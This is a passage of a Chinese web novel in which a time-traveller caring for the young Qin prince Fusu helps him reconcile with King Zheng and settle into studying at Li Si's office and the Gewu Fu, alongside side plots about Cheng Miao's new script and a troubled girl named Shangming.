她起身偷偷透过门缝看到扶苏抱着韩非在哭，这才稍稍放下心来。
渐渐的，这哭声小了下来。
扶苏哭睡着了。
楚荍这才起身进门，从韩非手里接过扶苏，“多谢韩先生。”她感激地朝韩非点头。
楚荍感受着扶苏的重量，她苦笑一声，扶苏再长一点，她就要抱不动了。
夏时已经备好了马车。他们要回宫了。
他们到时，太阳已经落到山下，天马上就要暗了。
楚荍抱着扶苏下马车，感受到怀里的人动了一下，扶苏醒了。
“姑姑，放我下来吧。扶苏已经是大孩子了，不需要人抱。”他笑着说。
楚荍闻言却笑不出来，扶苏现在两只肿得像桃子一样的眼睛一点说服力都没有。
扶苏一如往常地牵着楚荍回寝宫，好像什么都没有发生一样。
可扶苏越是这样“懂事”，楚荍心里越是难受。
“生辰快乐，大兄！”
扶苏走近寝宫的一瞬间，一群小萝卜头突然冒了出来，拉响装满花瓣的礼炮为他庆生。
49.第四十九章 空巢老人
“你们怎么在这？”
扶苏被漫天的花瓣迷晕了眼，他伸手接住跑向他的嬴阴嫚，惊喜地问。
这还没玩，他话音刚落，由阴嫚起头，小萝卜头们又手牵手围着扶苏开始唱起了生日快乐歌。
祝你生辰快乐，祝你生辰快乐！
祝扶苏~生辰快乐，祝你生辰快乐！
小萝卜头们的歌声大而清亮，真挚又热烈。扶苏鼻子一酸，早已止住的泪意这会儿又有些忍不住了。
“大兄，你怎么哭了？”赢阴嫚第一个注意到扶苏的眼泪，立马就有些急，她以为是他们做了什么才把扶苏惹哭。
明明是过生辰这么开心的事情，为什么会哭呢。阴嫚不理解。
闻言，扶苏赶紧抬手用袖子擦了下眼泪。
“大兄没事。”他蹲下身亲昵地刮了一下阴嫚的鼻子，笑着说，“是你们唱的太好听了，把大兄都听哭了。”
“真的吗？”将闾在一旁担忧地问道。他年级大，没阴嫚她们那么好哄。他能看出来扶苏这眼睛是之前就哭肿的。
“当然是真的，大兄什么时候骗过你们。”
扶苏转过头，也伸手轻轻揪了一下将闾的鼻子，说话时的神色十分温柔，“别担心。”
“嗯。”将闾点点头，不知道为什么，每次扶苏这样看着他的时候，他的心立马就安定了下来。
既然大兄说没事，那肯定就没事了。将闾十分坚定地想着。
“好了好了，各位公子公主都上桌吧，要开饭了。”
楚荍牵起两个小萝卜头，适时接过话。
宫人已经将晚膳的饭食摆好，依旧都是扶苏爱吃的。
春天天色黑的很快，这会儿已经完全暗了下来，夜幕上挂着一弯皎洁的银月。
热闹之中，嬴政在殿门外踱步，却没有进来。
中午两人吵了一架之后就听宫人禀报说扶苏出宫去了韩非别院之中。顿时他心中火更盛，连手中的奏章都摔了。
瞧瞧，越不让他出宫，他越往宫外跑。
哼，他看他平日就是太惯着他了，这臭小子胆越来越大。
晚上，宫人又跟他禀报说扶苏回来了。
这小子还知道回来，嬴政冷哼一声。他正准备让人把这小子叫过来再教训两句，就听到宫人说扶苏脸色很不好，眼睛都哭肿了。
嬴政闻言一愣，眼睛哭肿了，就因为他不同意让他出宫？
他极少见到扶苏哭的样子，甚至有些不能想象扶苏崩溃大哭，把眼睛哭肿的样子。
扶苏还在襁褓中的时候，就极少哭。
他还记得，扶苏生下来的时候眼睛闭着，一声不吭，连打屁股都不哭，把太医们吓得团团转。
结果他把扶苏从太医手里一抱过来，他就像是有感应一样的立马哭了出来。
扶苏强有力的哭声盖住了太医们的各种好话。从那时候起，嬴政就觉得扶苏和他之间有着一条特殊的纽带。在他心里，扶苏不仅是他第一个孩子，还是最重要的那个。
随着年龄增长，扶苏就更没有在他面前哭过了。
可今天，仅仅就因为他这两句话，就把眼睛哭肿了？
嬴政有些不相信，他那两句话也没多重啊。
可等他再反应过来的时候，发现自己已经站在了扶苏的寝宫外。
也是这个时候，他听见了其他人给扶苏唱的生辰歌。
嬴政原本踏出去的脚又收了回来。她心里清楚，扶苏现在肯定不想见到他。
而里面的楚荍看到夏时一直在那给她使眼色，很快就反应了过来。她随便找了个借口就追了出去。
扶苏这会儿正和小萝卜头们玩得开心，所以也没注意到楚荍借口的拙劣。
“大王，等等。”楚荍快步追了上去，喊住了嬴政。
见状，嬴政停了下来，等着楚荍给他一个解释。
楚荍明白嬴政的意思，她整理了一下自己的思绪。
“大王，公子出宫并不是为了玩，您误会了。”
“自从去年公子病了一场之后，他就一直非常关注您身子的健康。他是见您日夜辛勤工作，担心您身子吃不消，这才这么拼命学习，只是为了成长的更快一点，好替您分担一些。”
“今日公子去韩非别院，也只是哭了一场，什么都没说。”
“公子还小，但懂事早，心思重，很多事情都憋在心里。他也会很难过。”
楚荍很想把这话都一股脑都说出来，但是她不能。嬴政是父亲前，先是君王。
她冷静地开口，“大王，公子已经好多了，现在正和其他公子公主一起呢，您别担心。”
“我知道了。”嬴政点点头，“你还有事要说吗？”
“没有了。”
楚荍摇摇头，没有再多说。很多事情她说了没用，得两个人自己把误会解开。
不然，“结”就会一直在那里，直至腐烂，也不会被人想起然后解开。
深夜，所有人都离开了，只剩扶苏和楚荍两人。
楚荍坐在床边为扶苏掖好被角，伸手揭开敷在扶苏眼睛上的热帕子，神色温柔地问：“公子有什么想和姑姑说的吗？”
扶苏睁着一双黝黑的眸子，水汪汪的。这会儿肿已经消下去了。
楚荍很有耐心地等着，她知道，扶苏需要找人倾诉。
半晌，扶苏才开口：“姑姑，我想出宫进官署。”
“进官署跟着各位大人学习，那这是大好事呀。格物府给公子留了房间，就在姑姑隔壁，到时候公子和姑姑一起住，我们又能天天见面了。”楚荍佯装高兴地说。
扶苏知道楚荍是在安慰他，他轻笑着摇摇头，“父王不同意。”
可这笑在楚荍眼里实在太苦了。她宁愿扶苏这个时候不笑。
楚荍伸手摸摸扶苏头，缓声说道：“大王不同意也是有理由的呀。公子你想，你今日才过七岁生辰，出宫进官署学习虽是好事，但同时也意味着常常见不到大王。”
“就和姑姑出宫后一样，见不到公子，却时常想念。可怜天下父母心，就算强悍如大王，也会想念自己的孩子也会担心你的安危。”
扶苏闻言没说话，这些他都想到了。他准备了很多话，可今天他却一句都没有说出来。
父王不该这样想自己，更不好指责姑姑是疯女人。
所以他今天下午才没有去找姑姑，他觉得很愧疚，是他连累了父王对
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姑姑的看法。
见扶苏沉默，楚荍知道他心中有气，也就没再多说。她伸手把扶苏的被子往上拉了拉，柔声哄道：“公子睡吧，不用想那么多，姑姑在呢。”
随后，她轻声哼起来婉转的歌谣。
扶苏今天已经很累了，伴着歌声，很快就沉沉睡去。
确认扶苏睡着之后，楚荍才轻手轻脚地退了出去。
唉，楚荍躺在床上长吁短叹。这事儿还真是难办。要等到这两个锯嘴葫芦说开，那要等到猴年马月了。
她得想个办法……
叮咚，恭喜宿主完成第一个主线任务，获得奖励：治疗严重伤病的金丹一颗。
楚荍看着自己手里一个小小瓷瓶里装着的平平无奇的药丸子。原来一年时限是以扶苏生日为界限的。那看来她这一年还是有点收获，至少扶苏成功长了12斤。
她甚至超额完成任务。
楚荍起身将这瓷瓶收好，这可是好东西，得收好了。
第二日中午，嬴政看着不请自来的将闾、阴嫚和荣禄三个小子，都说想他了想和他一起吃饭。
除了阴嫚，另外两个小子怕他得很，哪敢在他面前晃，更别说主动来找他吃饭了。难道是阴嫚拉着他们俩过来的？他知道阴嫚和这两小子关系最好。
嬴政有些疑惑，但也没有多想。
可晚上，又有两个小子找借口跑来见他。第二日、第三日皆是如此。
任谁，也猜出这里有猫腻。
第三日晚上，只有将闾和阴嫚两人来了。
嬴政把脸一沉，声音压低，故作生气地问：“说吧，你们到底要干什么？”
果然，嬴政这副样子吓人得很。
将闾和阴嫚两人被吓到，立马什么都交代了。
原来是楚荍拜托他们这么做的。
“姑姑说大兄和父王吵架，是因为父王担心大兄出宫之后不能常常见到大兄，变成期盼孩子归家的空巢老人。所以才拜托我们都来关心关心父王。父王虽然见不到大兄，但见到我们也会开心起来。”阴嫚很快将事情的前因后果讲清楚。
果然是楚荍搞得鬼，嬴政心下了然。
结果听到“空巢老人”四个字，嬴政的脸又黑了一度。他有这么可怜吗，他跟这四个字有一丝的关系吗？
“而且大兄和父王吵架，大兄也很难过。那天我看到大兄眼睛都哭肿了，大兄还骗我说没事。”将闾接着说道。
阴嫚拉着嬴政的手，有些胆怯但又很勇敢地说，“父王，您和大兄能和好吗，阴嫚不想看到你们两个都这么难过的样子。”
闻言，嬴政难得地沉默了。
把两个小的送走之后，他才慢慢起身往扶苏寝宫走去。
扶苏宫内，他正在一个人吃饭。楚荍格物府的事务脱不开身，昨天就出宫去了。
嬴政看着孤身一人的扶苏，突然觉得，这孩子似乎看起来很寂寞。
他走上前，坐在了扶苏对面，他才反应过来。
扶苏愣愣地看着嬴政，半晌，才喊了一句父王。
“就这么想出宫？”
“嗯。”
“那就去吧。”
说完，嬴政便起身离开。
50.第五十章 再次出宫
都说孩大不中留，可扶苏才七岁，就留不住了。
初春的风还有些冷，嬴政站在窗边，颇有些惆怅。
李斯：……
“所以大王的意思是，让公子知难而退？”
闻言，嬴政转过身，冷冷撇了一眼李斯，“我没说。”
“是是，臣的意思是，官署的工作如此辛苦，公子还小，受不了也正常。”
李斯连忙赔着笑说道。
唉，这父子俩吵架，怎么受伤的总是他。大王把长公子塞到他这，还想让公子知难而退，怎么就要让他来当这个恶人。
这种事，怎么不去找蒙恬！
唉，唉！李斯走在出宫的路上长吁短叹，他是真不想当这个恶人。
没人为他发声吗？李斯无语凝噎地望着天。
另一边，宫人正在为扶苏收拾行李。而扶苏坐在椅子上看似百无聊赖地把玩着楚荍送他的围棋棋子。
明明这件事是他求来的，但现在他却怎么也高兴不起来。
唉，扶苏看着棋盘上毫无章法的棋，也叹起了气。
要不要去找父王告别呢，扶苏十分苦恼。
昨晚，父王同意他出宫，却也没再多和他说一句话。父王肯定还在生气吧，扶苏想。
而且父王说的那些话，他现在还有些生气。虽然姑姑跟他说了很多，但……
他还没把自己哄好。
可就在扶苏苦恼之际，嬴政却先一步来了。
嬴政看了一眼地上的几个木箱子，里面都装的是竹简。
“带这么多书？”他问。
扶苏抿抿嘴，垂下眼睛说道：“孩儿出宫是为了学习，学业自然不能丢下。”
这话嬴政一听，就知道扶苏还在气自己那几句话。
“还在置气？”
“没有。”扶苏咬了咬嘴唇。
呵，嬴政轻笑一声，弯身抱起低着头不看他的扶苏。
明明长大了一岁，抱起来却还是小小一个，也没重多少。这么小的孩子，却千方百计想离开，嬴政心里多少有些不是滋味。
“东西没学多少，嘴还挺硬。”
扶苏没说话，被嬴政抱起后也将头扭到一边，不去看他。
嬴政抱着扶苏走到书架边，上面最显眼的位置摆着楚荍送给他的娃娃屋。
“你在急什么？”片刻，嬴政又问。
扶苏明显把自己逼得太紧了。若扶苏现在是十几岁，想进官署学习那他自然是双手赞成。可扶苏才刚过七岁生辰，不说远，他那些弟弟妹妹比他小一点，大字都还不认识几个。
嬴政不明白，扶苏到底在急什么？明明作为他的儿子，完全可以不用这么拼命。
“我听见父王咳嗽了，去年冬天。”扶苏把头靠在嬴政肩膀上，好一会儿才说道。
听到这个理由的嬴政却愣了一下，嘴角却勾了起来，“我那不过是风寒，你担心什么？”
扶苏闻言却一脸严肃地转过身，“我问过太医了，就是因为父王日日工作，不注重自己的身体，所以风寒才会拖了一个月没好。”
嬴政没想到扶苏知道的这么清楚，他抬手摸了摸鼻子，莫名的有些心虚。
“好了，还教训起你老子来了。”
嬴政抬手敲了敲扶苏的头，又接着说道：“既然要进官署，那就好好学，别给我丢脸。”
“孩儿一定会努力的。”扶苏点点头，对此事他倒是十分自信。
白天收拾好东西之后，晚上，扶苏就住进了格物府。
“姑姑！”
“公子！”
楚荍一把抱起跑过来扶苏，高兴地抱着他在天上转了几个圈。
“姑姑，夫子呢？”扶苏问。他以为甘罗会和自家姑姑一起来接自己呢。
“他现在在忙，咱们待会儿再去见他。姑姑先带你逛逛，认认人如何？”
“好。”
扶苏笑着点点头，他还没在格物府逛过呢。终于可以看看“纸”是怎么造出来的了！扶苏很是兴奋。
格物府的众人也都知道扶苏今日要来，第二次见到大秦的长公子，众人欣喜之余有些好奇，还有些拘谨。
不过在见到扶苏之后，都立马喜欢上这位长公子。
这样聪明可爱，温和良善，还长得好看的小朋友没人会不喜欢吧。
大致逛了一圈之后，楚荍就带扶苏回了她准备好的房间。
东西都备好了，只需要简单收拾一下就能住。
“公子带了这么多书？”楚荍看着地上几个大的木箱子问。
“嗯嗯，学业不可废。”
“不愧是公子。”楚荍给他竖起了大拇指，“还好我给公子准备的书房够大，不然书都不够放。”
楚荍推开侧边的一扇门，里面赫然还有另一个房间。
这间房间从
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建造之初，楚荍就考虑好了一切。
其实去年她就考虑过扶苏的教育问题。君主专制的中央集权制度在这个时代时一种很稳定，甚至是先进的制度。而且她的任务是避免历史再次重演，也就是助扶苏顺利继位，避免大秦再次二世而亡。
所以她只许要成为扶苏的助力即可。
不过秦国这套适用于战时的严苛律法，在统一六国之后倒是可以变一变。
但怎么让扶苏意识到这一点，楚荍当时想到的是一位伟人的另一句话：从群众中来，到群众中去。
不过对扶苏而言，这句话可以换一下顺序：到群众中去，从群众中来。
扶苏本身就是共情能力高，温柔良善之人。若他见过百姓之苦，就绝不会袖手旁观，作壁上观。
扶苏从来就是看到了，就要通过自己努力去改变的人。
当然，像淳于越这种人还是离远点的好。
晚上吃完饭后，扶苏早早就休息了。毕竟今天折腾了一天。
第二天一早，他还要去李斯那里。
翌日，楚荍书房内。
“楚府长，人带到了。这位便是程邈老先生。”
咸阳城的狱长程心向楚荍禀报。他身边还有一位看起来近六十岁的老人。
“多谢程狱长了，这次多亏你帮忙，改天我一定请你吃饭。”
楚荍起身向程心道谢，又亲切的握住程邈的双手，“老先生，久仰大名。”
程心为程邈搬过凳子之后，就自觉地退了出去，顺手还把门给带上了。
跟聪明人共事就是舒服，楚荍余光瞥到程心的动作，心想。她拜托程心帮她找人，他不过一个月就把人给找到了。
“先生快请坐。”楚荍松开程邈的手，回到自己的位置上，笑着说。
她找程邈的目的显而易见，纸已经造出来了，那适用于书写印刷的“隶书”是不是也得跟上进度。
从大篆到小篆再到隶书，两个关键人物李斯和程邈她得找齐了。
程邈看着眼前十分年轻的女人，眼睛都瞪大了。他完全没想过程心口中的楚府长竟然是一个女人，还是个如此年轻的女人。
程心在路上为他介绍时，他不太相信。直到进了格物府，亲眼看到那雪白雪白的纸张，这才信了。
果然他是在狱里被关太久，已经跟不上秦国的发展了吗。程邈脑袋上挂着两个大大的问号。
51.第五十一章 进官署
“不知楚府长大费周章地找老夫来，是有何事？”
程邈捋着自己长长的花白胡子问。
“老先生不知吗，我还以为程狱长已经和先生说了。”
楚荍笑笑，直接开门见山地说道。她找程邈的目的很明确，没必要绕那些弯子。
“先生在来的路上应该已经看到了，那些‘纸’即将面世出售，相应的，我需要比小篆更便于书写和印刷的字体。”
“找老先生来，便是为了先生在狱中研究的那三千多新字。”
程邈闻言眼神一怔，没想到楚荍真的是这个而来。程心来找他时与他透露过一二但他在云阳狱里被关的有些久了，久到他连这件事情都差点要放弃了。
“府长此言当真？”
“当然。”
“既如此。”程邈招呼了一声。只听一阵声响，程心又搬了一个大木箱进来，里面便是程邈这么些年研究的三千新字。
程邈随手抓了几卷竹简放到楚荍桌上，楚荍拿起一看，果然是她心心念念的隶书。
楚荍放下竹简，十分诚心邀请程邈在格物府住下来。
“府长，我只是把程老先生从云阳狱中调到了咸阳。”程心见状在一旁说道，言外之意是他无权释放程邈。
“我知道，没事。先生就放心在格物府住下，此事我会去与大王说。”楚荍扬了扬手中的竹简，笑着说，“有这三千新字，还担心什么。”
另一边，李斯正在给众人介绍扶苏。
李斯没有提前给众人打过招呼，所以对他们来说扶苏今天是突然天降。十几双眼睛看着站在廷尉身边的扶苏，心里都是都是两个反应：一是长公子长得真好看啊，二就是他们大王到底是怎么想的，把一个七岁的小孩送到刑部来。有些案件卷宗他们看来都心惊，更别说七岁小儿了。
“各位哥哥们好，今天初次见面，我给大家带了一些小点心，请大家收下。以后一段时间，还请大家多多指教。”扶苏站在李斯身边，脸上的笑容十分甜美。
扶苏的话一说完，夏时就把从格物府带来的小点心分给了众人。这点心是楚荍准备的。
扶苏这次出宫，只带了夏时一个人。这次是因为带了糕点，所以他才一起跟来了。楚荍给他在格物府找了点事，白天他就在府里工作。扶苏十分坚持，他是去官署学习的，根本不需要侍从。
再就是王离，顺势成了扶苏的贴身侍卫。他是嬴政强制指派的，虽说没有人会傻到在咸阳城内对扶苏动手，但这个万分之一的不可能都要彻底掐灭。
众人接过糕点之后，互相对视几眼，发现大家都是一个想法：那就是他们大王肯定是疯了，才会让冰雪可爱的长公子来受这份苦。
“公子，你的位置在那里。”李斯给扶苏指了一张空桌子，又对那桌子旁边的人说道，“卢回，你带一下公子。”
把扶苏安置好之后，李斯就回了自己处理事务的书房。
可被点名的卢回愣住了，他就说，昨天自己旁边这张一直堆杂物的桌子怎么被清出来了。
这个苦差事怎么就落到自己身上了，他在心里苦笑。但面上却不敢展露出一分一毫。
“公子，您叫我卢回就好。”他赔着笑，心中却叫苦不迭，他怎么担得起公子一声哥哥。
没想到扶苏摇摇头，反倒安慰起他来，“长幼有序，我该叫一声哥哥才是。卢哥哥！”
“就是就是，公子叫你一声哥哥你就偷着乐吧。”徐嘉走过来拍了拍卢回的肩膀，语气里满是揶揄。
“你！”卢回回头没好气地瞪了一眼徐嘉，这人平常就跟他不对付，这种时候还跑过来添乱。但碍于扶苏还在这里，他甚至不好发作。
见扶苏好奇地盯着自己，徐嘉上前主动介绍自
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己：“公子，我是徐嘉，卢回的好兄弟。”他边说还边用手肘怼了一下卢回，见卢回一副吃屎的表情，脸上笑容更是得意。他就是吃准了卢回不敢在扶苏面前发作。
扶苏看了看两人，眼珠子一转，扬起笑容，很甜地喊了一声“徐哥哥”。
“诶！”徐嘉应了一声，没有丝毫不好意思，“有公子这个一声哥哥，我徐嘉这一辈子也有了。”
闻言，房里众人皆被他这话逗得笑起来。
扶苏也笑了，看来自己融入大家的第一步走出去了呢。
闹过之后，众人都开始投入今天的工作。
怕扶苏听不懂，卢回先将自己每日的工作挑了一个最简单给扶苏进行讲解。
“公子明白了吗？”卢回有些小心翼翼地问。要是太难把公子打击地没信心了怎么办。
没想到扶苏很轻松地点点头，“嗯，明白了。我先熟悉一下，然后做一个给你看看。”
他结果卢回手中的竹简，就开始读了起来。
片刻之后，扶苏就读完了，“卢哥哥，只有昨日的简报吗？”
“啊？”卢回一下子没反应过来，公子这么快就把竹简上的内容读完了？他在心中惊讶，竹简上面的字公子认全了吗？
“之前的简报都在架子上，公子想看可以自己去取。”卢回忍住自己的好奇心，指了指一边的书架。
“多谢卢哥哥。”扶苏朝他笑笑，便自己去那架子取回来好几卷竹简，在自己位置上看了起来。
直到中午，扶苏桌上的竹简已经堆成了一座小山的形状。
午饭的时间，众人发现扶苏没和他们一起吃，到了下午人也不知去向。只剩下竹简还堆在桌上。
难道不过一上午公子就受不了跑了？众人心想。
但是不应该啊，公子坐在那里一上午认真看竹简的样子不像假的呀！
52.第五十二章 插曲
嬴政书房中，众人下了朝会后正在议事。
楚荍顺势说了程邈研究新字，请求释他出狱这事。
“这事儿还得麻烦李廷尉。”
李斯突然被点名，眉头不自觉地皱了起来，没明白这事怎么跟就又跟自己有关系了。
“谁人不知，李廷尉的字写得最好。”楚荍笑着解释，“如今要将这新字定稿，供他人学习，自然要有一份范本不是。”
“这倒是，要说字，确实廷尉写得最好。”嬴政点点头，接过话说道。
“大王谬赞了。”李斯拱拱手，谦虚地说。
楚荍见状撇撇嘴，刚刚她夸李斯字写得好怎么不见他是这个反应。
哼，果然是媚上奉承的“小人”惹，楚荍在心里锐评。
不过楚荍锐评的时候全然忘记了自己的形象在别人眼里比之李斯有过之而无不及。
楚荍解释过之后，李斯立马明白此事是个千古留名的大好事，便也不在推辞。三言两语把此事敲定下来之后，众人又接着商议其他事务。
会后，嬴政单独把李斯留了下来。
“大王可是想问公子的情况？”李斯问道。
“这小子自己要出宫，好与坏都得他自己受着。”嬴政没抬头，语气无波无澜。看起来丝毫不关心扶苏。
不过李斯已经习惯自家大王对公子的嘴硬心软，如果这会儿他真以为大王不想听公子的事，那才真是拍到马蹄上去了。
李斯笑笑，接着说道：“公子上进，乃是我大秦之福。”
“昨日公子去官署时，还给大家都带了糕点。上午也是在自己的位置上认真看了一上午的竹简。以公子的聪明，此次定能学到不少。”
说着，李斯便呈上了扶苏昨日给他的那份糕点。他特意没吃，留到今日上朝给嬴政带过来。
“这就是昨日公子带去的糕点，大王尝尝。”
嬴政瞥了一眼桌上的竹盒子，轻哼一声，点评了一句“花架子”。
李斯闻言笑而不语。他已经深刻懂得，只有大王能说公子一句不好，他们这些人，对公子只能有夸的。
中午，短暂地处理完一部分政务后，嬴政正准备传午膳，就看到李斯带过来的糕点。
想想也知道，这糕点肯定是楚荍为扶苏准备的。这样想着，嬴政抬手打开竹盒子的盖子，里面是六块不同口味的米糕。他随手拿起一块，尝了一口。
是桂花口味的，甜而不腻，米香和桂花香融合的很好。
嬴政将手中剩下的整块扔进嘴里，一块米糕的份量不算大，但也够把嘴塞满。他边吃便从鼻中挤出一声冷哼。
不知道为何，吃着这米糕，嬴政心底竟然莫名地泛些酸泡泡。现在这两人住在一块，日子还不知道有多潇洒。
当然，他是绝对不可能承认这种事情的。
扶苏现在的日程是早上去官署，中午回格物府吃饭，下午则在府中学习。原本在宫中教导的老师依旧接着教他，只不过将教授地点换到了格物府。
傍晚黄昏的时候，再围着村子跑几圈马，活动下身体的同时锻炼一下骑术。晚上则是整理一日之所得，将其写成文字。
所以扶苏很忙，真的很忙。他对自己要求十分严格，答应要做到的事情就一定要做到最好。
这日中午，他刚回到府中，正准备去吃饭，但是却在一个拐弯地地方不小心撞到了一个小女孩。应该说，他是被撞的那个。
扶苏自己从地上起来，拍拍了衣上的尘土，微笑着朝王离摇摇头，示意自己没事。
他向地上的小女孩伸出了手，柔声问道：“你没事吧？”
而倒在地上的小女孩，这才抬起头看向扶苏。
两个人都同时认出来了对方是谁。毕竟两人的容貌都是见过一面很难忘记的类型。
上明前几日染了风寒，回了甘府修养。扶苏是昨日来的，这才没碰见。
“上明？”扶苏惊喜地喊出她的名字，握住她伸过来的手，将她从地上拉了起来。
这时候王离已经将刚刚她被撞掉的竹简和本子捡了起来递给她。
上明接过之后，轻声道了句谢，又朝扶苏行了礼之后便想离开。
“等等！”扶苏叫住上明。
听见扶苏叫她，上明疑惑地回头，她记得自己跟这位长公子好像并不熟。
“你手上的伤。”扶苏指了指上明另一只手掌上的擦伤，有些担心地说：“还是处理一下吧。”
上
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明刚想摇头拒绝，却发现扶苏已经走上前十分自然地牵住了她那只没伤的手，带着就要往自己房间走去。
结果扶苏走了一步之后就发现走不动了，有人不配合。他回头刚想说些什么，就被上明突然狠狠地甩开手。
还被她莫名其妙地瞪了一眼之后就跑开了，一个转角之后就消失不见。
只留扶苏和王离两人在原地不知所措地大眼瞪小眼。扶苏甚至来不及追上去。
“我做错什么了吗？”扶苏瞪大眼睛地问。
王离从上明跑远的拐角收回目光，摸摸鼻子后有些不好意思地说：“公子那样牵人家小女孩的手，是不是不太好？”
刚刚公子那样自然去牵上明的手的时候把他都吓了一跳。虽然公子还小，牵个小手这种事情也不关乎情爱，不过也得问一下人家女孩子的意见对吧。
等等，这种话不该他来说吧！怎么看都是楚荍更合适吧。
结果扶苏听到王离的话人更懵了，“可是我平常都是这么牵阴嫚的呀。”
此话一出，王离上上下下的心突然就落了下来。原来公子是把上明当妹妹了呀，那就说的通了，吓死他了。
王离松了口气，他还真是“自己吓自己”啊。
另一边上明跑掉之后径直跑回了的房间。她将手中的竹简和本子狠狠摔在桌上，然后往床上一躺。厚实的被褥被她这一躺，就压出了一个小凹槽。
这人果然跟她姑姑一样讨厌！上明狠狠地把扶苏牵过的那只手用帕子擦了好几遍，表情和动作都显出十分的嫌弃。
然后动作又不小小蹭到另一只手的伤口，一下就把她疼出了眼泪。
结果这眼泪一出来就止不住了，上明手忙脚乱地擦着眼泪，发现擦不掉之后直接回身埋在被子上哭了起来。
手碰到放在床头的书，气得直接把书扔了出去砸到门上。
她就是学不会嘛！能怎么办！
就在这个时候，门外又响起了敲门声。
是扶苏的声音。
“里面的人没事吧？”
扶苏在门外有些焦急地问。
刚刚上明跑掉之后，他就准备回自己房间。结果路过听到奇怪的声响，有些担心，这才敲门询问。
53.第五十三章
“里面有人吗？”
见里面没了声响，扶苏又用力敲了敲门，高声询问道。
难道是自己听错了？扶苏有一瞬间怀疑自己。
不会，他没听错，扶苏很肯定地摇摇头。刚刚他路过听到什么东西砸到门上的声音，差点都以为是奔着他来的。
这又突然没了声响不会是彻底病倒晕了过去吧。扶苏一下就联想到去年自己晕倒那次，心里更加焦急。
这样想着，手上敲门的力道也就愈发重。
早知道不让王离先去吃饭了，不然这会儿就可以直接破门而入查看情况。扶苏有些懊恼着想。
刚刚两人路过食堂，扶苏想着回来一趟把身上这身摔倒弄脏的衣裳给换下来，就让王离自己先去吃，他随后就过来。
结果就碰到这样的事情。
就在扶苏考虑要不要去找人破门的时候，门突然开了。
看着眼前这个人，扶苏没想到会是上明。
上明明显哭过了，眼睛和鼻子都红红的，头发和衣裳也有点乱。
特别是那双浅色的眼睛，被眼泪浸润，水汪汪，好像有着十分的委屈。
判断出来这一点之后，扶苏便有些小心翼翼地又问一句：“你……没事吧？”
完全没在意刚刚上明瞪他那一眼。
“我没事，现在你可以不用像疯子一样疯狂敲我的门吧。”上明的表情十分冷淡，语气也十分冰冷。
就算迟钝如扶苏，也感受到了上明对他的敌意。
这下扶苏更疑惑了，自己什么时候惹到她了吗？
就在扶苏准备为自己辩解一下的时候，突然听到有人喊了一声上明。
“上明！”
好像是甘先生的声音，扶苏听着很耳熟。
随着声音越来越近，扶苏突然被上明不由分说地拉进房间，门也被她小声地关上。
“上明？”
脚步声走近，敲门声响起。
扶苏正想应声，就被上明抵在墙上用手捂住嘴巴。
见上明朝他摇头，扶苏疑惑地瞪大眼睛，完全没搞清楚现在是什么情况。
门外不是甘先生的声音吗，为什么上明要
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装作不在，而且甘先生怎么听起来这么生气？
甘罗敲了几声之后发现还是没人应声，叹了口气之后将手放了下来。
上明这孩子，今年格物府开了启蒙学堂之后，他就把她拎进学堂里上课。
结果她三天两头用头疼脑热当借口逃课，前两天又说是风寒自己跑回甘府躲了几天。
今天刚回来就跟夫子在课堂上顶嘴，夫子都告到他这里了。
他真是闹得头都疼了，上明性子又犟。她要是能有公子三分之一听话，他也不用操这么多心了。
嬴政：扶苏听话？呵呵，你们都被他的外表骗了，他更是个犟种。
等听到脚步声走远，上明才放开扶苏。
“抱歉。”上明咬了咬嘴唇，有些难堪地向扶苏道歉。
“没事。”扶苏笑着摇摇头，知道上明遇到事情，但是又不想说。
“我们先把伤口处理一下吧，你这有药吗？”
见上明摇头，扶苏边说边起身把门开了个缝，往外看了两眼确定里面没人之后，这才带着她去了自己房间。
54.第五十四章
“疼吗？”
扶苏问，他先是帮她用清水冲洗了伤口，然后撒上药粉，最后在用干净的帕子包扎起来。
上明抿了抿嘴摇头，“不疼。”
扶苏的动作很小心，也……很温柔。
“你好像很熟练？”她问。
“嗯，因为阴嫚爱骑射，难免磕着碰着，我经常帮她处理伤口。”扶苏在帕子尾端打上一个结，笑着说，“大概是这个原因吧。”
上明收回手，闻言有些疑惑，她自然知道阴嫚公主。只是扶苏也没有比赢阴嫚大多少，如果受伤了难道不应该有太医帮她处理伤口吗？为什么要去找扶苏？
扶苏像是看出上明的疑惑，轻笑两声，解释道：“这些小擦小碰阴嫚都是等它自己好，有一次我碰见之后强行帮她处理了。之后她就赖上我了，每一次都跑来让我包。”
“嗯，大概是在撒娇吧。”
上明看出扶苏温柔的话语里流露出的幸福，有些惊愕，天家姊妹也相处的这么好吗？
“多谢，没有其他事的话我先走了。”只见上明突然站起来，抬腿就要走。
扶苏一句等等都来没来得及喊出口，上明就已经跑了出去，在一个转角消失不见。
他呆愣地站在原地，不知道自己是那一句又惹到了她，怎么突然就又跑了。
扶苏还是头一次碰见这么对自己避之不及的人，明明大家都很喜欢他的呀。扶苏头一次对自己的“魅力”产生了质疑。
另一边上明从扶苏房间跑掉之后，一口气跑到了格物府后面那个大湖旁边。她找到自己最爱的那颗柳树，倚着树干抱着膝盖坐在了地上。手上还捡了树枝在地上画圈圈。
上明本来就郁闷，又被扶苏这么一搅和，现在更郁闷了。
从前住在甘府，只有她一个人陪着先生。现在到了这里，先生没时间陪她，她也没有朋友。明明这里这么多人，但她却一个可以说话的人都没有。
这就算了，最气的是人比人气死人，明明扶苏也是刚搬过来，为什么他适应这么好！自己不需要他的施舍！上明气愤地把手上树枝扔掉。
可是眼泪
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却不知道什么时候落了下来，上明知道自己是在迁怒扶苏，可她就是忍不住。
这样的自己真的好没用......上明越用力擦眼泪越多。
突然，一方干净的手帕递到她眼前。是甘罗。
“先生——”上明突然就放声大哭起来，委屈极了。
唉，甘罗叹了口气，矮身把地上的小不点给抱起来，轻轻拍着她的背安慰道：“哭什么，先生又没怪你。”
闻言，上明哭的间隙还要辩解几句，“本来......就不是我的......错！”
“是是是，不是你的错，那总得先告诉先生发生了什么吧？”他无奈地笑着说。
甘罗把哭睡着的上明抱回房间，为她掖好被子，这才悄悄退了出去。
他捏了捏自己的眉心，唉，头疼。
结果出门没走几步，就碰到楚荍牵着赵家那个孤儿。那孤儿身上还背着个包袱。
楚荍牵着小孩笑得十分灿烂，就是眼睛不敢看他。
很好，更头疼了。甘罗无语地想。
55.第五十五章 赵新
微风和煦，春日曦光。
甘罗抬头望了望天，又无奈地捏了捏自己的眉心，这才问道：
“解释一下吧。”
“哎呀，那这事儿可说来话长了，我还是长话短说吧。”楚荍边说边把赵新往前推了一步，“赵新，你来说吧。”
